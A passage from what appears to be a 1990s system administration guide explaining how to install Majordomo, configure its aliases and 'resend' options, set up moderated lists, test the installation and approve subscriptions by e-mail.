and set its mode to 775. + + If the person who manages Majordomo doesn't want to "su" to + "majordom", you should add the manager's account to the "majordom" + group. (I think it's not a good idea to maintain Majordomo as the + superuser; permissions and ownerships can accidentally be set + wrong.) If there are list owners on the system, and if they should + be doing routine maintenance, add them to the "majordom" group, + too. + +4. Set up the Majordomo directory structure. Although I like to keep + all of Majordomo and its list files under Majordomo's home + directory, you don't have to. The structure is flexible; you can + separate the programs and the lists if you want to (see the sample + majordomo.cf file a few steps ahead). Here's the structure I'm + using. + + My home directory holds the $log file and the majordomo.cf + configuration file. The subdirectories are: + + - "archive" has subdirectories that hold list archive files. + + - "bin" is where I extracted the Majordomo distribution file: + executable scripts and documentation are here. The documentation + and sample configurations are in a subdirectory named "Doc"; you + might want to move some or all of it somewhere else. + + - "lists" has the files for the lists: subscribers, passwords, and + so on. + + If you aren't installing all of Majordomo in its home directory, + create the other directories now and set their ownership. Create + an empty $log file with owner & group "majordom" and mode 664. + +5. Now you can "su" to the new "majordom" account. (Most of the rest + of the installation doesn't need to be done as root.) + +6. Get a Majordomo distribution file from ftp.greatcircle.com in the + pub/majordomo directory. While you're there, get Brent's paper + about Majordomo (majordomo.paper.ps.Z, in compressed PostScript + format). It's titled "Majordomo: How I Manage 17 Mailing Lists + Without Answering `-request' Mail". The paper has an interesting + overview of how and why he wrote Majordomo, as well as an + introduction to Majordomo for users and administrators. The + Majordomo version it covers is fairly out of date now. To find out + about any new documentation, read the "Changes" file in the + Majordomo distribution. + + In the directory /pub/majordomo/archive are monthly archive files + of all the articles posted to the majordomo mailing lists. They're + worth browsing through someday in your copious free time. There's + lots of information that we don't have the room to cover in this + book. + +7. Extract the Majordomo distribution file into whatever directory you + chose. + + Each Perl script starts with a line that contains the pathname of + the Perl interpreter on Brent's system. If your Perl is in a + different place, you'll need to edit all the script files that + start with "#!" and fix that line. For instance, if your Perl + executable is /stuff/bin/perl, change the first lines to look + like: + + #!/stuff/bin/perl + + Note that the version of "resend" with Majordomo 1.62 (and probably + others) has a "-U" option at the end of the "#!" line. Don't + forget it. + +8. You might want to look through each program for an idea of how it + works. At least, read the "README", "Description", and + "resend.README" files. The "Changes" file also explains some + things that the other files don't. The Doc/samples directory has + samples of files for different list configurations. + +9. Configure Majordomo. Copy the sample.cf to become the majordomo.cf + file. Edit majordomo.cf to set the locations of directories and + files. This is Perl code, so each line (except comments) has to + end with a semicolon (;): + + # $whereami -- Hostname to advertise for machine I'm running on: + $whereami = "ora.com"; + + # $whoami -- Address for users to send my requests: + $whoami = "Majordomo@$whereami"; + + # $whoami_owner -- owner of the above, in case of problems: + $whoami_owner = "Owner-Majordomo@$whereami"; + + # $homedir -- Directory with my extra .pl files, like + # majordomo.pl, shlock.pl, and majordomo_version.pl: + $homedir = "/usr/local/majordomo/bin"; + + # $listdir -- Directory with files for mailing lists: + $listdir = "/usr/local/majordomo/lists"; + + # $log -- Full pathname of the log file I write: + $log = "/usr/local/majordomo/Log"; + + # $mailer -- Program and arguments I use to send mail: + $mailer = "/usr/lib/sendmail -oi -f\$sender \$to"; + + # Majordomo will look for "get" and "index" files related to $list + # in directory "$filedir/$list$filedir_suffix": + $filedir = "/usr/local/majordomo/archive"; + $filedir_suffix = ""; + + # $index_command -- Command for processing an "index" request. + # Majordomo does chdir("$filedir/$list$filedir_suffix") first. + # This one makes a little heading without permissions, links, + # or owner name. This won't work if you use ls -lRL instead: + $index_command = "/bin/ls -lL | \\ + /bin/sed -e 's/^......................//' \\ + -e '1s/.*/ SIZE DATE NAME/'" + + # If you want to use FTPMAIL, rather than local access, for + # file transfer and access, define the following: + # $ftpmail_address = "ftpmail@decwrl.dec.com"; + # $ftpmail_location = "FTP.$whereami"; + + The sendmail "-f\$sender" sets the message's "envelope sender" + address. The backslash (\) makes sure the Perl variable $sender, + which is set by "resend", isn't interpreted until the mail is + sent. In the same way, the "\$to" is replaced with the destination + address. The "-oi" option tells sendmail not to quit if it sees a + line with just a dot (.). If you have big lists or a busy system, + you might also add "-odq" to queue all messages instead of trying + to deliver them immediately. + + Of course, if you don't have sendmail, use a command for sending mail + with your system's MTA. + + I've also hacked the $index_command to make a simpler archive index + than the default "ls -lRL" command does. This makes the output + more user-friendly for users who don't know UNIX, but it won't work + if a list's archive has sub-archives (subdirectories). + +10. Majordomo looks for its configuration file in /etc/majordomo.cf + unless you set the W_MAJORDOMO_CF variable for "wrapper" that makes + it look somewhere else. My personal preference is to keep master + copies of my local files off of /etc, so I made a symbolic link + from /etc/majordomo.cf to /usr/local/majordomo/majordomo.cf. + +11. Install the "wrapper" program. It lets the majordomo script run as + a "trusted user." On non-POSIX systems, that's normally the user + "daemon"; on POSIX systems, it's "root". + + Edit the Makefile and set the "make" macros W_BIN and + W_MAJORDOMO_CF for "wrapper". W_BIN should point to the same + directory as $homedir in the majordomo.cf file. Give + W_MAJORDOMO_CF the absolute pathname of the majordomo.cf file. + Also check W_PATH, W_HOME, W_SHELL; they set the environment + variables PATH, HOME, and SHELL, respectively, during "wrapper". + If you're using a POSIX system, remove the comment characters from + the front of the POSIX section and add them to the non-POSIX + section. + + Some day the "wrapper" program may be eliminated. If you're using + a version of Majordomo newer than version 1.90 and "wrapper" is + missing, see the "Changes" file. + + Go back to the superuser account. (If your shell has job control + and the "suspend" command, that's an easy way to drop back to + "root". [That's assuming you originally typed "su majordom" from + the "root" account.] When you're ready to be "majordom" again, just + use "fg".) Run "make" to build the "wrapper" program. If you + decided to install "wrapper" somewhere other than the current + directory, run "make install". + +12. You may want to copy or move the online manual pages from the + Doc/man directory to your system's online manual page area. + +13. While you're the superuser, edit the MTA alias file to add aliases + like these: + + owner-owner: postmaster + # + # Majordomo + # + majordomo: "|/usr/local/majordomo/bin/wrapper majordomo" + majordom: owner-majordomo + majordomo-owner: jerry + owner-majordomo: majordomo-owner + + (There's a sample MMDF aliases file in the section "For MMDF + Systems", below.) + + If your "aliases" file doesn't have an "owner-owner" alias, we + recommend it (actually, the Nutshell Handbook "sendmail" does). + Using this special alias will help to find any problems with the + zillions of other "owner-xxx" aliases that you'll be adding as you + configure Majordomo lists. Errors in any "owner-" alias will go to + the system postmaster. + + The setup of the similar-looking "xxx-owner" and "owner-xxx" + aliases is important if you use sendmail version 8. The setup + above makes the envelope sender address "majordomo-owner" instead + of a person's address (here, "jerry"). See the section of Chapter + 2 called "Envelope Sender in Sendmail Version 8". + + Notice that the "majordomo" alias doesn't have the absolute + pathname of the majordomo program. For security, the absolute + pathname is hardcoded into the "wrapper" binary. If you move the + majordomo program, the alias won't work until you recompile + "wrapper". + + Be sure that mail sent to the "majordom" user is routed somewhere. + A sendmail alias could route it to "majordomo" (a good choice if + you'll be getting much mail from systems that truncate mail + addresses to an 8-character length). The alias above routes + "majordom" mail to the person in charge of Majordomo. You could + also use a program like "canned_reply" (see Chapter 1). + + If this sendmail alias file is shared by more than one host, and + they won't all be running the same Majordomo setup (which isn't + likely), you've got some configuring to do. The section of Chapter + 2 called "Problems with Your Local Network" has some tips. + + If your system needs it, run "newaliases" to rebuild the alias + database. + +14. You or list owners may want to have a "bounces" mailing list set + up. If you do, this is a good time to add the aliases and make the + list files. (See the section below named "Setting Up Lists".) + +15. I edited the "request-answer" program to change the mail message + it sends. + Now the message also explains other e-mail addresses at our company. + +Before you turn your users and list owners loose on the system, set up +at least one list and test your system. The section below explains how +to do that. + + +SETTING UP LISTS + +Once you've got Majordomo installed, you'll want to create one or more +mailing lists. The following sections provide a step-by-step procedure +for creating a mailing list, how to make a list moderated, and how to +test the list to make sure it's working. + + +Creating a New List + +New lists are created by adding files to the $listdir directory (named +in majordomo.cf) and by making entries in your MTA aliases file. Here +are the steps: + +1. Pick a name for the list: letters, digits, underbars (_), or dashes + (-) only. To avoid confusing users, it's a good idea not to use + both underbars and dashes for your system's listnames. Choose one + or the other, then use it consistently. + +2. Decide who'll own the list. The address of this person (or + persons) will go on the "listname-approval" and "listname-owner" + aliases for the list. + +3. The owner should pick the subscription approval password. Store it + in the "listname.passwd" file in the $listdir directory. Use + "chmod" to set the file mode to 660. As for all other Majordomo + files, be sure that the group owner is "majordom". + +4. The owner should write a description of the list to be mailed out + for "info" requests and for new subscriptions. Store the + description in the "listname.info" file in the $listdir directory. + (Hint: a good description in the "info" file will save you time by + avoiding questions later.) Set the file mode to 664. + +5. If you want the list to be archived, create a file in the archive + area. Optionally, create an archive directory for the list, in the + location specified by the $filedir and $filedir_suffix variables. + Set the file mode to 664. + +6. Set the subscription policy. If the list owner wants all requests + to be approved automatically, including requests by any user to + subscribe or unsubscribe any other user, create an empty file named + "listname.auto" in the $listdir directory. The list owner will + still be notified when people subscribe or unsubscribe but won't + have to approve them. + + If there isn't a "listname.auto" file, non-routine subscriptions + (requests by any user to subscribe or unsubscribe any other user) + will be sent to the list owner. Routine subscriptions will be + approved automatically (unless there's a "listname.closed" file; + see below). + + A "closed list" requires the list owner to approve all + subscriptions. To close a list, create an empty file named + "listname.closed" in the "lists" directory. To open the list, + remove that file. + +7. Decide whether you want to include comments in the subscriber + list. Normally, Majordomo stores the complete address it gets for + each subscriber. That includes comments like "Jerry Peek" or + "(Phone 123-4567, FAX 234-5678)". These can help you (and other + people) find subscribers when the e-mail address isn't enough. If + you create an empty file named "listname.strip" in the $listdir + directory, comments won't be stored with addresses. + +8. By default, anyone (even non-subscribers) can use the commands + "who", "which", "index", and "get" on a list. If you create an + empty file named "listname.private" in the $listdir directory, only + members of the list can use those commands. + +9. Make a file in the $listdir directory to hold the list's + subscribers. The filename is the same as the listname. + +10. Set up list distribution. The "resend" script, run by the + "wrapper" program, receives and distributes mail for each list. + (Strictly speaking, you don't need "resend" for a simple list. You + can let majordomo manage the subscriber list and use a simple + sendmail alias to distribute messages. But unless you have a + problem with "resend", its features will usually be a help.) + + The table below explains the "resend" options you can use; the only + required options are "-l" (the list name) and "-h" (the host name). + Pick the options and settings you'll use; there are examples below. + You should probably check the "resend.README" file for any changes + in this list of options. + + - "-C config-file" names an alternate configuration file that only + "resend" uses. The default is the main majordomo.cf file. + + If you use the "-C" option, it MUST BE THE FIRST OPTION given. + + - "-l list-name", which is required, gives the name of the mailing + list. + + - "-h host-name", which is required, gives the fully-qualified + domain name of the computer running Majordomo. + + - "-A" makes the list moderated. To create a moderated list, see + the section below called "Making a Moderated List". (Use the + "-a" option, too.) Also see the "-I" option. + + - "-a password" sets the approval password for moderated lists + and other messages that have been rejected for some reason. + (If the list will be moderated, use the "-A" option, too.) + + If the argument starts with a slash (/), it's used as the + pathname to a file that contains the password. If your MTA has + an SMTP VRFY command, use a pathname for security; see the + section "Making a Moderated List". + + - "-d" sets debugging: instead of running the commands, "resend" + writes the command lines it would run to its standard output. + + - "-f from-address" is used as the "envelope sender" address for + messages on the list. (See the part of Chapter 1 called "`From ' + vs. `From:'".) It's also the "approval address" used for any + message that "resend" needs to bounce to the list owner. If you + don't give "-f", the default address is "listname-request". + + - "-I filenames" is used to restrict who can post to a list. The + "filenames" argument is a list of one or more files, separated + by colons (:), in the $listdir directory. The files contain + addresses that are allowed to send messages to the list. If the + message doesn't have a valid "Approved:" header and the sender's + "From:" address isn't on this list, the message will be bounced + to the list owner. + + For example, a company might want a general announcements list + that only a few employees should send messages to. Instead of + making the list moderated (which would add overhead) they can use + the name of a file with the addresses of people who are approved + to send mail to the list. This isn't very secure because any + user can forge a "From:" address easily. Still, this is an easy + way to stop messages (replies, for example) from being sent to + the list accidentally. It also doesn't require all the people + who post to know the article approval password. + + - "-m sendmail-flags" is the place to store any sendmail flags you + want used when mail is sent to the list. For example, "-m -odq" + will queue messages instead of trying to deliver them + immediately. To use more than one sendmail option, put single + quotes around the options--for example, "-m '-odq -oi'". + + - "-M maximum-message-length" is the maximum message size, in + bytes, that "resend" will send to the list. Bigger messages are + forwarded to the list owner for approval. + + - "-p precedence" will add a "Precedence: precedence" header + component to messages. Many lists use "-p bulk". (See the + section of Chapter 1 called "Bounced Mail".) + + - "-R" will delete "Received:" header components on incoming + messages. + + - "-r reply-to" will add a "Reply-To: reply-to" header component. + + - "-s" enables "administrivia" checks. With this option, "resend" + does two checks of each message. If the message's subject has a + word that ends in "subscribe" or "unsubscribe", upper or lower + case, it will be bounced. Also, if the first five lines of the + message body have the words "add me", "delete me", "subscribe", + "sub", "unsubscribe", or "unsub", upper or lower case, anywhere + in those lines, the message will be bounced. + + The list owner can bypass the administrivia checks by adding a + valid "Approved:" header and re-sending the message to the list. + +11. Add list aliases to the sendmail (or other MTA) aliases file. Here + are some for an unmoderated, archived list named "sample" on the + host foo.com.au: + + # + # Sample mailing list + # + owner-sample: sample-owner + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk -M 10000 + -R -l Sample -f Sample-Owner -h foo.com.au -s sample-outgoing" + sample-owner: jerry + sample-approval: sample-owner + sample-outgoing: + :include:/usr/local/majordomo/lists/sample, sample-archive + owner-sample-outgoing: sample-owner + sample-archive: /usr/local/majordomo/archive/sample/sample + owner-sample-archive: sample-owner + sample-request: + "|/usr/local/majordomo/bin/wrapper request-answer sample" + owner-sample-request: sample-owner + + (There's a sample MMDF aliases file in the section "For MMDF + Systems", below.) + + The aliases are: + + - "listname-owner" (and "owner-listname", which points to it) is + the list owner, the person (or people) in charge of the list. A + lot of the other aliases can point to this one. + + As Chapter 2 explains, sendmail uses the "owner-xxx" aliases for + errors. Majordomo uses the "xxx-owner" aliases. (Actually, an + "xxx-owner" alias isn't used by Majordomo itself--but aliases + that Majordomo uses are set up to point to "xxx-owner".) + + - "listname" runs the "wrapper" program to set the correct + permissions. Then "wrapper" starts "resend" to send the message + to the list. (Brent wants to get rid of "wrapper" some day.) + + This is where the "resend" options are set (see the list above). + The alias ends with the distribution address (here, + "sample-outgoing"). + + Here's a useful trick from Brent Chapman. Some versions of + sendmail have a 256-character length limit for aliases. A + "resend" line with a lot of arguments can easily go over that + limit. To solve this, you can put all the "resend" arguments in + a file called "listname.resend". Set up the alias with + backquotes (grave accents) and "cat"--like this: + + sample: "|/usr/local/majordomo/bin/wrapper resend + `/bin/cat /usr/local/majordomo/lists/sample.resend` + sample-outgoing" + + When sendmail interprets the alias, it will be fairly short. The + shell will run "cat"--and replace the backquoted string with the + "sample.resend" file contents--after sendmail has finished + interpreting the alias. + + Another advantage of this is that the majordomo administrator can + change the list's "resend" configuration without editing the + system aliases file. + + - "listname-approval" is the person (or people) who approves + subscriptions to closed lists, subscriptions or unsubscriptions + at a different address, and mailings to moderated lists. This + can usually point to "listname-owner". + + - "listname-outgoing" is the actual list of people subscribed to + the list. The sendmail ":include:" directive reads the + subscribers list at the time a message is sent. If the list is + archived, add the name of the archive alias (like + "listname-archive") too. + + - Optional (I recommend it): By convention, many Internet mailing + lists have a subscription address of "listname-request". + Although your list doesn't use that address (it uses + "majordomo"), the "request-answer" program can answer mail sent + to that address. You may want to edit the "request-answer" + program to send a different message--for example, to give + information about places to get help and information (local + addresses, phone numbers, etc.) at your company. + + - Optional: The "new-list" script can answer mail sent to the list + for the first few days. The message asks people to wait to post + messages for a few days until most subscribers have joined the + list. "new-list" also returns the sender's message. + + To install "new-list", "comment out" the "listname" alias and put + "new-list" in its place temporarily: + + # sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk -M 10000 + # -R -l Sample -f Sample-Owner -h foo.com.au -s sample-outgoing" + sample: "|/usr/local/majordomo/bin/wrapper new-list Sample" + + After a few days, the system administrator should install the + permanent list alias. The owner should send an announcement that + the list is "open for business." + + Most of the alias names starting with "owner-" tell sendmail where + to send errors caused by the corresponding alias. For example, if + there's a problem with the "sample-archive" alias, sendmail will + complain to "owner-sample-archive". These "owner-" aliases will + usually be easier to maintain if you point them to an overall alias + (like "owner-sample" or "postmaster") instead of a particular user + (like "jerry"). + + As before, if this sendmail alias file is shared by more than one + host, and they won't all be running the same Majordomo setup, there + are tips in the section of Chapter 2 called "Problems with Your + Local Network". + +12. Make sure everything is owned by user "majordom", group "majordom", + and writable by both owner and group (that is, mode 664 for files + and mode 775 for directories). In a lot of cases, files and + directories don't need world access; you can use modes 660 and + 770. But check and test carefully; it's better to leave everything + world-readable unless you're sure things work okay without it. + + If you need to be very careful about permissions, think about how + each file will be read and written. Many files are accessed by + programs invoked from "wrapper"; those files only need permission + for access by "wrapper"'s UID and GID. Files that will be written + by users logged on interactively (like the list administrator) may + also need write permission for the "majordom" group. Files written + directly from a sendmail alias (the list archive files) probably + need world write permission because of the variety of UIDs and GIDs + that sendmail may run as. + + +For MMDF Systems + +The examples in the steps above are for systems with the sendmail MTA. +Here are examples for systems that use the MMDF MTA. (Thanks to Morna +Findlay for these examples.) The leading name "majordom|" means the +"majordomo" and "sample" aliases will run as the user "majordom". This +is from the MMDF aliases file: + + majordomo: "majordom|/usr/local/majordomo/bin/wrapper majordomo" + owner-majordomo: jerry + majordomo-owner: jerry + +Now, for the sample mailing list, here are entries from the MMDF +"lists" file. In MMDF, mailing lists have their own channel: + + sample: sample-outbound@list-channel + sample-outbound: :include:/usr/local/majordomo/lists/sample + sample-request: "majordom|/usr/local/majordomo/bin/wrapper request-recording sample" + sample-approval: jerry + owner-sample: jerry + + +Making a Moderated List + +A list owner may want to approve every message before it goes to the +list. The list might distribute official company statements, or begin +to carry lots of inappropriate messages and "noise" that subscribers +don't want to see. One common reason is that people accidentally send +subscription requests to the list itself instead of to the "majordomo" +address. Having one person filter these out can potentially save +thousands of people from wasting time on them. (Also see the "resend +-s" and "-I" options.) + +To make a list moderated, add the options "-A" and "-a password" to the +list's alias (its "resend" command) in your system alias file. The +argument to "-a password" is the password that the list owner adds to a +message header to approve an article: + + Approved: BigSecret + +The revised list entry in the sendmail aliases file would look like: + + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk + -A -a BigSecret + -M 10000 -R -l Sample -f Sample-Owner + -h foo.com.au -s sample-outgoing" + +Like other Majordomo features, this isn't especially secure. If your +system's sendmail has a VRFY command, anyone can find the list +password. Also, the list owners can't change their article approval +password unless you (the system administrator) edit the system alias +file. An easy fix is to give the full pathname of a file, starting +with a slash (/), as the argument to the "-a" option. In the example +below, "resend" will read in the subscription approval password (from +the list's "sample.passwd" file): + + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk + -A -a /usr/local/majordomo/lists/sample.passwd + -M 10000 -R -l Sample -f Sample-Owner + -h foo.com.au -s sample-outgoing" + +Of course, you could use a different password file (instead of the list +subscription password). The advantage of using the list subscription +password for article approval is that the list owner can change both +passwords by e-mail. + +**NOTE** As mentioned before, the "-a" password isn't just used for +moderated lists. It's used to approve any message that "resend" +bounces because of things like administrivia ("-s" flag) and length +("-M" flag). + +To find out how to approve a message, see the section "Managing the +Lists", below. + + +Testing Your Installation + +You should have set up at least one list by now. A nice way to test +majordomo is with the sendmail "-v" ("verbose") switch; it shows you +what's happening. + +In case something is set up wrong, it's a good idea to have a superuser +shell ready to do some fast cleanup. + +1. Send a test "help" message to majordomo. I found a permission + problem right away: + + % echo help | /usr/lib/sendmail -v majordomo + majordomo... aliased to "|/usr/local/majordomo/bin/wrapper majordomo" + "|/usr/local/majordomo/bin/wrapper majordomo"... Connecting to via prog... + shlock: open(">/usr/local/majordomo/shlock4344"): Permission denied + at /usr/local/majordomo/bin/shlock.pl line 131, <> line 1. + shlock: open(">/usr/local/majordomo/shlock4344"): Permission denied + at /usr/local/majordomo/bin/shlock.pl line 131, <> line 1. + (error message repeated every second or so) + + Because I had a superuser shell ready, it was easy to kill the perl + process running on that terminal. I deleted the queued message from + the /usr/spool/mqueue directory, fixed the permission problem (the + home directory wasn't group-writable), and tried again. (One of + this book's reviewers told me that his system required all files be + owned by "daemon". He also had to make "daemon" the W_UID in his + Makefile. I don't see why, but there are a lot of systems out + there; this tip might help you too.) + + Majordomo sent me a help message: + + From Owner-Majordomo@ora.com Mon Aug 2 11:36:15 1993 + Date: Mon, 2 Aug 93 11:36:13 PDT + To: jerry + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + >>>> help + ... + Commands should be sent in the body of an email message to + "Majordomo@ora.com". + + Commands in the "Subject:" line NOT processed. + + If you have any questions or problems, please contact + "Owner-Majordomo@ora.com". + + Check the addresses in that message to be sure they're right. + +2. I tested the "request-answer" program by mailing to "sample-request" + (my test list was named "sample"): + + % echo help | /usr/lib/sendmail -v sample-request + ... + + Again, I checked the addresses in the returned message. In this + message and the one before, the envelope sender (shown in the "From + " or "Return-Path:" lines) should be one of the Majordomo aliases: + + From sample-request Mon Aug 2 11:41:26 1993 + Return-Path: + + That's because the "wrapper" program runs as "daemon" (or, on POSIX + systems, as "root")--and those users are on the trusted user list in + the sendmail configuration file (/etc/sendmail.cf): + + T root daemon uucp + + The trusted user settings aren't something to experiment with. If + you're having trouble getting the right envelope sender address, + check a reference for your MTA. (The Nutshell Handbook "sendmail" + should be a help if you use that MTA.) + +3. Next, be sure that your system's MTA is configured right to send + mail across a network. Go to another account on another computer, + send mail to "majordomo", then check the return addresses in the + message headers. You might ask a friend at another company to do + the same thing. + +4. Subscribe to the sample list. (I did it from another computer.) + + You should get a welcome message and a "Majordomo results" message: + + From Owner-Majordomo@ora.com Mon Aug 2 15:22:28 1993 + Date: Mon, 2 Aug 93 12:24:42 PDT + To: jerry@foobar.ora.com + From: Majordomo@ora.com + Subject: Welcome to sample + Reply-To: Majordomo@ora.com + + Welcome to the sample mailing list! + + If you ever want to remove yourself from this mailing list, send the + following command in email to "Majordomo@ora.com": + + unsubscribe sample jerry@foobar.ora.com (Jerry Peek) + + Here's the general information for the list you've subscribed to, in + case you don't already have it: + + ...you should get a copy of the sample.info file here... + + From Owner-Majordomo@ora.com Mon Aug 2 15:22:30 1993 + Date: Mon, 2 Aug 93 12:24:41 PDT + To: jerry@foobar.ora.com + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + >>>> subscribe sample + Succeeded. + +5. Look at the log file; be sure these transactions are being logged. + +6. Send a message to the sample list: + + % /usr/lib/sendmail -v sample@ora.com + Subject: test message to sample list; will this make a log file? + + Hi, folks. + ^D + ...watch the transaction... + + And look at the message sent to the list. + + From Sample-Owner@ora.com Mon Aug 2 15:27:12 1993 + From: Jerry Peek + Date: Mon, 2 Aug 1993 12:26:58 EDT + To: sample@ora.com + Subject: test message to sample list; will this make a log file? + Sender: Sample-Owner@ora.com + Precedence: bulk + + Hi, folks. + + Be sure that the message is going into the list archive file, if + any. + + If you're planning to set up the "new-list" script, "comment out" + the list's current "resend" alias (add a "#" before it) and set up + "new-list". Test it to be sure you get a reply. + +7. If the list is closed, private, or moderated, check whether those + features are actually working. Test the list owner's account to be + sure mail gets there--including mail about the routine subscriptions + and unsubscriptions. + + Try sending a message from some other account to unsubscribe you. + Your request should be forwarded to the list owner unless you + created a "listname.auto" file. + +8. Try the "newinfo" and "passwd" commands from the list owner + account. (See "Majordomo Commands for List Owners", below.) The + corresponding files in the list directory should be updated. + +9. If you've made a list archive, there should be a file in it by now. + Get a listing of the archive and a copy of the file: + + % /usr/lib/sendmail -v majordomo + majordomo... aliased to "|/usr/local/majordomo/bin/wrapper majordomo" + index sample + get sample archive + ^D + "|/usr/local/majordomo/bin/wrapper majordomo"... Connecting to via prog... + "|/usr/local/majordomo/bin/wrapper majordomo"... sent. + + If you didn't see any errors, you should get two mail messages. One + is a copy of the file; the other holds the results of the majordomo + session: + + Return-Path: + To: jerry + From: Majordomo@ora.com + Subject: Majordomo file: list 'sample' file 'archive' + Reply-To: Majordomo@ora.com + + -- + + >From Sample-Owner Mon Aug 2 12:37:46 1993 + Received: by ora.com (5.65c/Spike-2.1) + id AA05037; Mon, 2 Aug 1993 12:35:17 -0700 + + ...copy of messages from the list... + + Return-Path: + To: jerry + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + -- + + >>>> index sample + SIZE DATE NAME + 5383 Sep 6 01:58 archive + >>>> get sample archive + List 'sample' file 'archive' + is being sent as a separate message. + + +MANAGING THE LISTS + +Majordomo makes day-to-day operation of a mailing list easier, but +there are still things to do. If your mailing lists are open (anyone +can subscribe) and unmoderated (anyone can post), you'll get fewer +messages, but you should still expect some. + +When mail (a subscription, unsubscription, or an article intended for a +moderated list) needs approval, majordomo sends the message to the list +owner(s). Any list owner (and in fact, anyone who knows the list +password) can send an approval message back to Majordomo to approve the +request. + +A "list owner" is the person (or people) listed on the +"listname-approval" alias in your system aliases file. (For sendmail, +that filename is usually /usr/lib/aliases or /etc/aliases.) + +Note that Majordomo lets you put different people on the +"listname-approval" and "listname-owner" aliases. If you split those +duties between two different people, keep that in mind as you read the +sections below. I've assumed that all list messages needing action go +to a single "list owner." + + +A List Owner's Account + +All a list owner needs is to be able to send and receive e-mail. The +owner doesn't need to have login access to the system where the list is +handled. + +The list owner doesn't even need to be on a UNIX system, although +majordomo comes with some UNIX scripts that make life easier for the +list owner. + + +Majordomo Commands for List Owners + +The requests for users can also be used by list owners. But there are +three more password-protected commands just for list owners. These +aren't mentioned in Majordomo's help file. If the owner doesn't have +an account on the machine where Majordomo runs, these commands allow +routine housekeeping via e-mail: + +- approve password subscribe/unsubscribe list address" + + Subscribe or unsubscribe someone from the list "list". For + example: + + approve !BooM! subscribe donut-makers Bob Baker + approve !BooM! unsubscribe donut-makers john.dough@bakers.org + +- passwd list old-password new-password + + Change the subscription approval password for "list" from + "old-password" to "new-password". Remember that this password is + stored, unencrypted, on the computer running Majordomo. Don't use + your login password! + +- newinfo list password + + Change the text in the "listname.info" file (the text a user + receives when they mail an "info" command or subscribe to the + list). The text is taken from the rest of the mail message until a + line with the three upper-case letters "EOF" at the start. + + Majordomo version 1.90, which should be out by the time this book is + printed, has a few new commands for list owners: (Thanks to John + Rouillard for this summary.) + +- config list password + + E-mails a copy of the configuration file for "list" to the owner. + The owner can edit the configuration file and send it back with + "newconfig". + + newconfig list password + ...config file contents here... + EOF + + The "newconfig" command installs a new configuration file for + "list". After you type the "newconfig" command, the rest of the + mail message should be a copy of the new configuration file. + +- writeconfig list password + + Rewrites the configuration file into standard form--including all + documentation in the configuration file. + +- mkdigest list password + + Force a digest to be generated for "list". + + +Approving Subscriptions and Moderating with "approve" + +The list owner will receive three types of mail messages from +Majordomo: + +- For subscriptions that need approval, you'll get a message with + APPROVE in the subject line. For closed lists all subscriptions + need approval. For open lists, approval is necessary only for + subscriptions where the subscriber specifies an e-mail address other + than their own. + +- For moderated lists, or for other messages that "resend" rejects, + you'll get a message with BOUNCE in the subject line. The subject + will tell you the reason for the bounce, and the body will contain + the whole bounced message. You decide whether this message is + appropriate to be sent to all the subscribers. + +- Reports of successful subscriptions and unsubscriptions. + +Majordomo includes "approve", a Perl script for making these chores +easier. For subscription requests, "approve" sends an e-mail message +back to "majordomo" indicating that the subscription should be +accepted. For messages submitted to moderated lists, "approve" adds an +"Approved:" header and re-sends the message to the list. The next two +sections show how to do these things manually in case the list owner is +on a system where "approve" (or Perl) can't run. They also show the +e-mail messages that fly back and forth. + +"approve" can be run either on the machine where majordomo is running +or on a remote machine where the list owner is managing the list by +e-mail. The "approve" script assumes that the Perl interpreter is in +/usr/local/bin/perl. If Perl is somewhere else, the first line of the +"approve" script should be edited to the path for that system: + + #! /usr/local/bin/perl + +"approve" uses a file named ".majordomo" (the name starts with a dot) +in the owner's home directory. It has an entry for each of the owner's +lists: the list name, list password and e-mail address of its +Majordomo server. There's a tab character (NOT space characters) +between the three fields in each line. For example, this is the +".majordomo" file for the owner of the "donut-makers" and +"mud-wrestlers" mailing lists: + + donut-makers !BooM! majordomo@bakers.org + mud-wrestlers GoJoan majordomo@foo.bar.com + +For security, it's a good idea to protect the file from other users. +Use a command like "chmod 600 .majordomo". + +To approve a request, feed the original approval-request message from +Majordomo to the "approve" script. Messages can be saved in separate +files, one per message, and named on the command line: + + % approve file1 file2 etc. + +Messages can also be fed to the standard input of "approve". For +example, in MH mail, where the "show" command displays a message: + + % scan 32 + 32+ 09/05 Majordomo@bakers.o APPROVE donut-makers<<-- postmaster@yu + % show | approve + +Or in "mush", the Mail User's Shell: + + ... + > 32 Majordomo@bakers.org Sep 5, (29/804) "APPROVE donut-makers" + ... + Msg 32 of 78: pipe approve + +The command in the Berkeley "mail" program is simply a vertical bar +(|). (For other mailers, check your documentation or help screen.) + + +Approving Subscriptions without "approve" + +It's possible that a list owner may be using a PC or some other system +where the "approve" script won't work. In that case, everything that +"approve" does can be done manually. This section and the next may +also be useful for those who want to know what "approve" does in more +detail. + +If someone sends a non-routine subscription to "majordomo", the server +sends a message to the list owner. There are two kinds of non-routine +subscription. One is when the person sends a subscribe/unsubscribe +command with a different e-mail address than their own. The other is +if the list is "closed"--that is, when the owner must approve all new +subscriptions. + +For example, the system postmaster at a bakery might want to set up a +list exploder (see Chapter 2) for the "donut-makers" mailing list. She +adds an exploder named donut-makers-dist@yummybake.com and sends this +mail to the Majordomo server: + + From: postmaster@yummybake.com + To: majordomo@bakers.org + + subscribe donut-makers donut-makers-dist@yummybake.com + +When Majordomo gets the message, it sees that the subscription address +isn't the same as the sender's address. So it sends the following mail +message to the list owner: + + From Owner-Majordomo@bakers.org Sun Sep 5 08:56:09 1993 + To: donut-makers-approval + From: Majordomo@bakers.org + Subject: APPROVE donut-makers + Reply-To: Majordomo@bakers.org + + -- + postmaster@yummybake.com requests that you approve the following: + + subscribe donut-makers donut-makers-dist@yummybake.com + + If you approve, please send a message such as the following back to + Majordomo@bakers.org (with the appropriate PASSWORD filled in, of course): + + approve PASSWORD subscribe donut-makers donut-makers-dist@yummybake.com + + If you disapprove, do nothing. Thanks! + + Majordomo@bakers.org + +If an owner doesn't want to apprive the subscription request, I suggest +that he not just "do nothing." If a subscription is rejected, it's a +good idea to reply and explain why. Otherwise, the subscriber will +probably write to ask because she already got a message like this: + + From 